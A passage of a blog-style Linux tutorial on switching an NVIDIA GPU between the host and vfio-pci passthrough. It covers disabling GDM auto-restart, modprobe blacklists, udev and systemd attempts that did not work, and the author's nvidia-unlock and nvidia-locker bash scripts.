<p>There&rsquo;s only one way, kind of a hack:</p>
<ul>
<li>first, configure GDM (which loads GNOME and is the parent process) to not auto-restart automatically if it dies</li>
<li>second, switch to another TTY (Ctrl+Alt+F3, for example), kill GDM from there and only then unload the NVIDIA driver.</li>
<li>third, when the driver is swapped for vfio-pci, now the GPU is off and you can restart GDM and log back in. Just a pain that the open graphical apps will die, but it&rsquo;s faster than a full PC reboot.</li>
</ul>
<h2>1 - disable GDM auto-restart<span class="hx:absolute hx:-mt-20" id="1---disable-gdm-auto-restart"></span>
    <a href="#1---disable-gdm-auto-restart" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Disable GDM auto-restart
sudo mkdir -p /etc/systemd/system/gdm.service.d
sudo tee /etc/systemd/system/gdm.service.d/10-no-restart.conf &lt;&lt;EOF
[Service]
Restart=no
EOF

# Update systemd
sudo systemctl daemon-reload</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This config prevents GDM from auto-restarting. Now I can kill it. Without doing this, if I kill GDM, it reopens too fast and there&rsquo;s no time to remove the NVIDIA driver before that.</p>
<h2>2 - Trying to keep Wayland from grabbing the GPU<span class="hx:absolute hx:-mt-20" id="2---trying-to-keep-wayland-from-grabbing-the-gpu"></span>
    <a href="#2---trying-to-keep-wayland-from-grabbing-the-gpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The GPU-Passthrough-Manager script theoretically already does this, but to be safe it&rsquo;s good to have the following:</p>
<p>First, in <code>/etc/modprobe.d/blacklist-nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>blacklist nvidia
blacklist nvidia_drm
blacklist nvidia_uvm
blacklist nvidia_peer_mem
blacklist nvidia_modeset
blacklist nvidia-nvlink
blacklist xhci_pci
blacklist ucsi_ccg
options nvidia NVreg_EnableGpuFirmware=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Second, in <code>/etc/modprobe.d/nvidia.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>options nvidia_drm modeset=0
options nvidia NVreg_InitializeSystemMemoryAllocations=0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The modeset option is to try to keep nvidia_drm from latching onto the GPU, but this didn&rsquo;t work either. It&rsquo;s optional, I don&rsquo;t know if there&rsquo;s a problem leaving it or removing it back to modeset=1. I think this matters more if you use the Nvidia GPU as the primary GPU where your graphical interface actually runs, especially to support Wayland correctly.</p>
<p>The other attempt is with UDEV rules in <code>/etc/udev/rules.d/80-nvidia-composite.rules</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Unified NVIDIA/AMD GPU management
ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x10de&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 000 /dev/dri/%k; echo GNOME_MUTTER_IGNORE_DEVICE=1 &gt;&gt; /etc/environment&#39;&#34;

ACTION==&#34;add&#34;, SUBSYSTEM==&#34;drm&#34;, KERNEL==&#34;card*&#34;, ATTRS{vendor}==&#34;0x1002&#34;, \
    RUN&#43;=&#34;/bin/sh -c &#39;chmod 660 /dev/dri/%k; chown root:video /dev/dri/%k&#39;&#34;

# New critical addition:
ACTION==&#34;add&#34;, SUBSYSTEM==&#34;pci&#34;, ATTR{vendor}==&#34;0x10de&#34;, ATTR{class}==&#34;0x030000&#34;, ATTR{enable}=&#34;0&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The idea is to try to change the chmod attributes to 000, but that didn&rsquo;t work either.</p>
<p>The last attempt was trying a Systemd service in <code>/etc/systemd/system/nvidia-lock.service</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Hardened NVIDIA Lock
Before=display-manager.service
Conflicts=multi-user.target

[Service]
Type=oneshot
# Merge of both prepare scripts
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon0/bind&#39;
ExecStart=/bin/sh -c &#39;echo 0 &gt; /sys/class/vtconsole/vtcon1/bind&#39;
ExecStart=/bin/sh -c &#39;chmod 000 /dev/dri/card0&#39;
ExecStart=/bin/sh -c &#39;for card in /dev/dri/card*; do [ &#34;$(cat /sys/class/drm/${card##*/}/device/vendor)&#34; == &#34;0x10de&#34; ] &amp;&amp; chmod 000 &#34;$card&#34;; done&#39;

[Install]
WantedBy=graphical.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Same idea of trying to block Wayland via tighter permissions, but it didn&rsquo;t work either. I think there&rsquo;s no harm in leaving this running but you can skip to the next section.</p>
<h2>3. What worked<span class="hx:absolute hx:-mt-20" id="3-what-worked"></span>
    <a href="#3-what-worked" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>After much testing, I now have two scripts (just to keep it less spaghetti). Here&rsquo;s the <code>nvidia-unlock</code> script that unloads the NVIDIA driver and has to be run from a different TTY than the one running GDM:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="c1"># /usr/local/bin/nvidia-unlock - Improved version with session handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Store current TTY</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT_TTY</span><span class="o">=</span><span class="k">$(</span>tty <span class="p">|</span> sed <span class="s1">&#39;s/\/dev\/tty//&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">IS_GDM_RUNNING</span><span class="o">=</span><span class="k">$(</span>systemctl is-active gdm<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 1. Stop GDM gracefully</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Stopping GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl stop gdm
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. Kill all graphical processes</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Terminating graphical sessions...&#34;</span>
</span></span><span class="line"><span class="cl">sudo pkill -9 -f <span class="s2">&#34;gnome-shell|gjs|Xwayland&#34;</span>
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. Nuclear GPU unbind</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Removing PCI devices...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.0/remove &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/devices/0000:01:00.1/remove &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 4. Purge drivers</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Unloading NVIDIA modules...&#34;</span>
</span></span><span class="line"><span class="cl">sudo rmmod nvidia_drm nvidia_modeset nvidia_uvm nvidia 2&gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 5. Rescan PCI</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;Rescanning PCI bus...&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;1&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/rescan &gt;/dev/null
</span></span><span class="line"><span class="cl">sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 6. Restore GDM if it was running</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="nv">$IS_GDM_RUNNING</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;active&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Restarting GDM...&#34;</span>
</span></span><span class="line"><span class="cl">  sudo systemctl start gdm
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Return to original TTY</span>
</span></span><span class="line"><span class="cl">  sleep <span class="m">3</span> <span class="c1"># Wait for GDM to initialize</span>
</span></span><span class="line"><span class="cl">  sudo chvt <span class="nv">$CURRENT_TTY</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 7. Final verification</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> ! lsmod <span class="p">|</span> grep -q nvidia<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ NVIDIA GPU successfully unlocked&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;❌ Failed to fully unlock GPU&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This script kills everything under GDM, GNOME Shell, the open graphical programs, everything, so don&rsquo;t leave your Libreoffice open without saving if you run this, it will kill it all. That&rsquo;s why you have to do Ctrl+Alt+F3 and run it from a separate terminal.</p>
<p>And now, here&rsquo;s my new <code>nvidia-locker</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#!/bin/bash</span>
</span></span><span class="line"><span class="cl"><span class="c1"># nvidia-locker - Final working version with proper TTY handling</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get the directory where this script lives</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Configuration</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_GPU</span><span class="o">=</span><span class="s2">&#34;0000:01:00.0&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NVIDIA_AUDIO</span><span class="o">=</span><span class="s2">&#34;0000:01:00.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">PCI_PATH</span><span class="o">=</span><span class="s2">&#34;/sys/bus/pci/devices&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">DRM_PATH</span><span class="o">=</span><span class="s2">&#34;/dev/dri&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">UNLOCK_SCRIPT</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">SCRIPT_DIR</span><span class="si">}</span><span class="s2">/nvidia-unlock&#34;</span> <span class="c1"># Look in same directory</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Core Functions </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">get_driver<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">local</span> <span class="nv">device</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[</span> -d <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    basename <span class="k">$(</span>readlink <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$device</span><span class="s2">/driver&#34;</span><span class="k">)</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;none&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">is_gui_session<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1"># Returns true if running in a graphical session</span>
</span></span><span class="line"><span class="cl">  <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span> <span class="o">||</span> <span class="o">[</span> -n <span class="s2">&#34;</span><span class="nv">$WAYLAND_DISPLAY</span><span class="s2">&#34;</span> <span class="o">]</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">print_status<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> -e <span class="s2">&#34;\nCurrent GPU Status:&#34;</span>
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:2684
</span></span><span class="line"><span class="cl">  lspci -nnk -d 10de:22ba
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_vfio<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔒 Binding to vfio-pci...&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/bind &gt;/dev/null
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">load_nvidia_headless<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;🔓 Loading NVIDIA in headless mode...&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Clear any existing overrides</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_GPU</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;&#34;</span> <span class="p">|</span> sudo tee <span class="s2">&#34;</span><span class="nv">$PCI_PATH</span><span class="s2">/</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">/driver_override&#34;</span> &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Load modules with headless options</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia <span class="nv">NVreg_InitializeSystemMemoryAllocations</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_modeset
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_uvm
</span></span><span class="line"><span class="cl">  sudo modprobe nvidia_drm <span class="nv">modeset</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Bind devices</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/nvidia/bind &gt;/dev/null
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># Lock DRM nodes</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">000</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card0&#34;</span> 2&gt;/dev/null <span class="c1"># NVIDIA</span>
</span></span><span class="line"><span class="cl">  sudo chmod <span class="m">660</span> <span class="s2">&#34;</span><span class="nv">$DRM_PATH</span><span class="s2">/card1&#34;</span> 2&gt;/dev/null <span class="c1"># AMD</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Command Handlers </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">vm_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;nvidia&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> is_gui_session<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Please switch to TTY (Ctrl+Alt+F2) and run:&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;   sudo systemctl stop gdm &amp;&amp; sudo nvidia-unlock&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;⚠️  Already in TTY - running nvidia-unlock...&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="o">[</span> -x <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">        sudo <span class="s2">&#34;</span><span class="nv">$UNLOCK_SCRIPT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;❌ Error: nvidia-unlock not found at </span><span class="si">${</span><span class="nv">UNLOCK_SCRIPT</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;ℹ️  Make sure both scripts are in the same directory&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">      <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_vfio
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">host_mode<span class="o">()</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">current_driver</span><span class="o">=</span><span class="k">$(</span>get_driver <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$current_driver</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;vfio-pci&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;🔄 Releasing vfio-pci binding...&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_GPU</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$NVIDIA_AUDIO</span><span class="s2">&#34;</span> <span class="p">|</span> sudo tee /sys/bus/pci/drivers/vfio-pci/unbind &gt;/dev/null
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  load_nvidia_headless
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="o">&amp;&amp;</span> nvidia-smi
</span></span><span class="line"><span class="cl">  print_status
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#  Main </span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$1</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">on<span class="o">)</span> vm_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">off<span class="o">)</span> host_mode <span class="p">;;</span>
</span></span><span class="line"><span class="cl">status<span class="o">)</span> print_status <span class="p">;;</span>
</span></span><span class="line"><span class="cl">*<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Usage: </span><span class="nv">$0</span><span class="s2"> [on|off|status]&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  on     - Prepare GPU for VM (may require nvidia-unlock)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  off    - Enable NVIDIA for host (headless mode)&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;  status - Show current GPU status&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
